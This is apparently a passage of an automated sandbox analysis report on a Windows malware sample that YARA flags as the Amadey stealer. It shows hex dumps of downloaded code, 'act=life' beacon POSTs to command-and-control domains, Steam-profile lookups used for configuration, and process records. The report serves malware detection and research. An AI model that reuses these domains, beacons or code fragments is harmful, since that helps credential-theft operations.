2024-12-15 10:59:20 UTC	1369	IN	Data Raw: ef 0f 57 c0 0f b6 c0 33 c9 0f 11 07 03 c6 c7 47 10 00 00 00 00 03 45 e4 c7 47 14 00 00 00 00 c7 47 10 00 00 00 00 c7 47 14 07 00 00 00 89 45 d8 66 89 0f 89 4d fc c7 45 dc 01 00 00 00 83 f8 07 76 2a 88 4d d4 8b cf ff 75 d4 50 e8 69 2b 00 00 8b 55 e8 eb 1a 85 f6 74 a3 0f b7 44 72 fe 83 f8 5c 74 99 83 f8 2f 74 94 b0 01 eb 92 89 47 10 83 7f 14 07 8b c7 89 7d e8 76 05 8b 07 89 45 e8 03 f6 56 52 50 e8 40 09 01 00 8b 4d e8 83 c4 0c 03 ce 80 7d ef 00 74 0b b8 5c 00 00 00 66 89 01 83 c1 02 8b 45 e4 03 c0 50 ff 75 e0 51 e8 18 09 01 00 8b 45 d8 83 c4 0c 89 47 10 8b cf 83 7f 14 07 76 02 8b 0f 33 d2 66 89 14 41 eb 1e 52 8b cf e8 b5 1a 00 00 c7 45 fc 01 00 00 00 8b cf 56 c7 45 dc 03 00 00 00 e8 5f fb ff ff 8b c7 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b 4d f0 33 cd e8 Data Ascii: W3GEGGGEfMEv*MuPi+UtDr\t/tG}vEVRP@M}t\fEPuQEGv3fAREVE_MdY_^M3
2024-12-15 10:59:20 UTC	1369	IN	Data Raw: 7f 14 0f 8d 04 31 89 47 10 8b c7 89 7d b4 76 05 8b 07 89 45 b4 56 52 03 c1 50 e8 51 04 01 00 8b 45 b4 83 c4 0c 8b 4d b8 03 c6 c6 04 08 00 eb 11 56 52 c6 45 b8 00 8b cf ff 75 b8 56 e8 4f 24 00 00 8b 4f 10 8b 57 14 3b ca 73 17 8d 41 01 89 47 10 8b c7 83 fa 0f 76 02 8b 07 66 c7 04 08 22 00 eb 12 6a 22 c6 45 b8 00 8b cf ff 75 b8 6a 01 e8 dc 22 00 00 8b 4d e8 83 f9 0f 76 28 8b 55 d4 41 8b c2 81 f9 00 10 00 00 72 10 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 6c 51 52 e8 df ec 00 00 83 c4 08 8b 4d d0 c7 45 e4 00 00 00 00 c7 45 e8 0f 00 00 00 c6 45 d4 00 83 f9 0f 76 28 8b 55 bc 41 8b c2 81 f9 00 10 00 00 72 10 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 2a 51 52 e8 9d ec 00 00 83 c4 08 8b c7 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b 4d ec 33 cd e8 43 ec 00 00 Data Ascii: 1G}vEVRPQEMVREuVO$OW;sAGvf"j"Euj"Mv(UArP#+wlQRMEEEv(UArP#+w*QRMdY_^M3C
2024-12-15 10:59:20 UTC	1369	IN	Data Raw: 22 83 f8 01 c7 06 00 00 00 00 c7 46 04 78 eb 43 00 0f 95 c0 5e 8b 4d fc 33 cd e8 ca e7 00 00 8b e5 5d c3 8b 4d fc 32 c0 33 cd 5e e8 b9 e7 00 00 8b e5 5d c3 cc cc cc 53 8b dc 83 ec 08 83 e4 e0 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 6a ff 68 56 0a 43 00 64 a1 00 00 00 00 50 53 81 ec ec 02 00 00 a1 c0 e0 43 00 33 c5 89 45 dc 56 50 8d 45 f4 64 a3 00 00 00 00 68 04 01 00 00 8d 85 c8 fd ff ff 50 6a 00 ff 15 88 20 43 00 85 c0 0f 84 9e 04 00 00 8d 85 d0 fe ff ff 50 6a 00 6a 00 6a 07 6a 00 ff 15 e8 21 43 00 85 c0 0f 88 81 04 00 00 c7 85 88 fd ff ff 5c 79 76 fd 8d b5 40 fd ff ff c7 85 8c fd ff ff e0 3d a0 47 8b 85 88 fd ff ff 8b 8d 8c fd ff ff 89 8d 44 fd ff ff 89 85 40 fd ff ff c7 85 88 fd ff ff 9e 15 63 0c c7 85 8c fd ff ff cb e8 55 d6 8b 85 88 fd ff ff 8b 8d 8c Data Ascii: "FxC^M3]M23^]SUkl$jhVCdPSC3EVPEdhPj CPjjjj!C\yv@=GD@cU
2024-12-15 10:59:20 UTC	1369	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 8b dc 83 ec 08 83 e4 e0 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 6a ff 68 a6 0a 43 00 64 a1 00 00 00 00 50 53 81 ec cc 01 00 00 a1 c0 e0 43 00 33 c5 89 45 dc 56 50 8d 45 f4 64 a3 00 00 00 00 8d 85 d0 fe ff ff 50 6a 00 6a 00 6a 07 6a 00 ff 15 e8 21 43 00 85 c0 0f 88 2a 03 00 00 c7 85 98 fe ff ff 5c 79 76 fd 8d b5 60 fe ff ff c7 85 9c fe ff ff e0 3d a0 47 8b 85 98 fe ff ff 8b 8d 9c fe ff ff 89 8d 64 fe ff ff 89 85 60 fe ff ff c7 85 98 fe ff ff 9e 15 63 0c c7 85 9c fe ff ff cb e8 55 d6 8b 85 98 fe ff ff 8b 8d 9c fe ff ff 89 8d 6c fe ff ff 89 85 68 fe ff ff c7 85 98 fe ff ff 95 1d fd f0 c7 85 9c fe ff ff 56 2d ca 9d 8b 85 98 fe ff ff 8b 8d 9c fe ff ff 89 8d 74 fe ff ff 89 85 70 fe ff ff c7 85 98 fe ff ff 9e 1a 8f 4f Data Ascii: SUkl$jhCdPSC3EVPEdPjjjj!C*\yv`=Gd`cUlhV-tpO
2024-12-15 10:59:20 UTC	1369	IN	Data Raw: f0 01 00 00 89 8c 24 f4 01 00 00 c7 44 24 78 9e 1a 8f 4f c7 44 24 7c 1f 14 a2 b1 8b 44 24 78 8b 4c 24 7c 89 84 24 f8 01 00 00 89 8c 24 fc 01 00 00 c7 84 24 80 00 00 00 bf b2 30 4a c7 84 24 84 00 00 00 a8 b4 a7 c1 8b 84 24 80 00 00 00 8b 8c 24 84 00 00 00 89 84 24 00 02 00 00 89 8c 24 04 02 00 00 c7 84 24 88 00 00 00 d0 b1 90 f7 c7 84 24 8c 00 00 00 41 18 0f f7 8b 84 24 88 00 00 00 8b 8c 24 8c 00 00 00 c5 fe 6f 84 24 e0 01 00 00 c5 fd ef 84 24 40 01 00 00 89 84 24 08 02 00 00 89 8c 24 0c 02 00 00 c5 fd 7f 84 24 40 01 00 00 c5 f8 28 8c 24 00 02 00 00 c5 f0 57 8c 24 60 01 00 00 c5 f8 29 8c 24 60 01 00 00 c7 84 24 90 00 00 00 5c 79 76 fd c7 84 24 94 00 00 00 e0 3d a0 47 8b 84 24 90 00 00 00 8b 8c 24 94 00 00 00 89 84 24 10 01 00 00 89 8c 24 14 01 00 00 c7 84 Data Ascii: $D$xOD$\|D$xL$\|$$$0J$$$$$$$A$$o$$@$$$@($W$`)$`$\yv$=G$$$$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49791	104.21.16.1	443	4324	C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 10:59:21 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: deafeninggeh.biz
2024-12-15 10:59:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-15 10:59:22 UTC	1012	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 10:59:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t02a91b4grtip5fair37v7458f; expires=Thu, 10-Apr-2025 04:46:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=udyktOWykec3WoCObXoSB3bjneNAkr4%2BhC%2BQwRxaGYivhG2A5dFr788earWnZxGQcDo%2FHLl7yaBzSnYuXyCxlr42BYyhFsOK82dGEOV0btZe6tHsY4pPMkZE1g%2B7usa8sO9g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f25ec7f4d8f0fa8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1517&min_rtt=1478&rtt_var=582&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1975642&cwnd=252&unsent_bytes=0&cid=59de35e0d3d82953&ts=1011&x=0"
2024-12-15 10:59:22 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-12-15 10:59:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49804	23.55.153.106	443	4324	C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 10:59:26 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-15 10:59:27 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 15 Dec 2024 10:59:26 GMT Content-Length: 35131 Connection: close Set-Cookie: sessionid=139889eb4faf399171d43369; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-15 10:59:27 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-15 10:59:27 UTC	10097	IN	Data Raw: 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 Data Ascii: munity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SU
2024-12-15 10:59:27 UTC	10555	IN	Data Raw: 3b 57 45 42 5f 55 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 Data Ascii: ;WEB_UNIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":&qu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49890	104.21.79.7	443	18576	C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 11:00:05 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drive-connect.cyou
2024-12-15 11:00:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-15 11:00:07 UTC	1024	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 11:00:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=82nb21056r7aeethiu49rasgpa; expires=Thu, 10-Apr-2025 04:46:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FuEIrsrdpbVXeC%2FdGmBftzvH%2BwQ0L%2B9Vv%2FhnGq8BNw6vyG9ofTFRACG6UrWRPdK6LYtAH%2FHwIvQ44MyY1znh6CecrjwSTuYNZqO9%2FwCyDHq%2BU97tBKiTTtRvwxccYDc0Q4NKzNU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f25ed90ff1f32d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1913&min_rtt=1913&rtt_var=718&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1522419&cwnd=146&unsent_bytes=0&cid=5bd99022b3b413e0&ts=2229&x=0"
2024-12-15 11:00:07 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-12-15 11:00:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49928	172.67.207.38	443

Timestamp	Bytes transferred	Direction	Data
2024-12-15 11:00:24 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: immureprech.biz
2024-12-15 11:00:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-15 11:00:25 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 11:00:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c465ldg2osj6leijjdul336usj; expires=Thu, 10-Apr-2025 04:47:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fVzut9fU5p3k98r6cS5JH3nMTI%2FC8lKz24S4VGYjPzs%2BN1CuxJdQzVQsll50fA%2FN7c2vwipA1GDTef0S%2B1WFzQ1%2B7HNQURLAOLBaEBRzb9feKMOTkr42dJIiabVVqY9WNWs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f25ee05bbc84362-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1589&rtt_var=610&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=906&delivery_rate=1775075&cwnd=250&unsent_bytes=0&cid=63cbcde8946cb6d9&ts=879&x=0"
2024-12-15 11:00:25 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-12-15 11:00:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49935	104.21.16.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-15 11:00:26 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: deafeninggeh.biz
2024-12-15 11:00:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-15 11:00:27 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 11:00:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4apftl22vd1vim1p1gj929qgvn; expires=Thu, 10-Apr-2025 04:47:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ao5MliE%2Bo998aCmPIwuFth4c4bKapgQsILBS4LyB3nA%2FrZeYTOhHPeVgJqrkWY5YtABrCH0DuaKEgEBV%2BHxCdY9IJ7ytYwf1tmr9j80HPCuS9D5vWC1oWZba7Sf%2FU86Cn6tx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f25ee158b3b41ba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1702&rtt_var=647&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=907&delivery_rate=1678160&cwnd=192&unsent_bytes=0&cid=af4c13ffff90405d&ts=745&x=0"
2024-12-15 11:00:27 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-12-15 11:00:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49951	23.55.153.106	443

Timestamp	Bytes transferred	Direction	Data
2024-12-15 11:00:35 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-15 11:00:36 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 15 Dec 2024 11:00:36 GMT Content-Length: 35131 Connection: close Set-Cookie: sessionid=4bbb3d088167f909cb4afa9b; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-15 11:00:36 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-15 11:00:36 UTC	10097	IN	Data Raw: 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 Data Ascii: munity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SU
2024-12-15 11:00:36 UTC	10555	IN	Data Raw: 3b 57 45 42 5f 55 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 Data Ascii: ;WEB_UNIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":&qu

Target ID:	0
Start time:	05:57:59
Start date:	15/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xaf0000
File size:	3'000'320 bytes
MD5 hash:	46C3863C4F153D69DBF4D5BFBBC90A73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1673986015.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:58:02
Start date:	15/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x5f0000
File size:	3'000'320 bytes
MD5 hash:	46C3863C4F153D69DBF4D5BFBBC90A73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
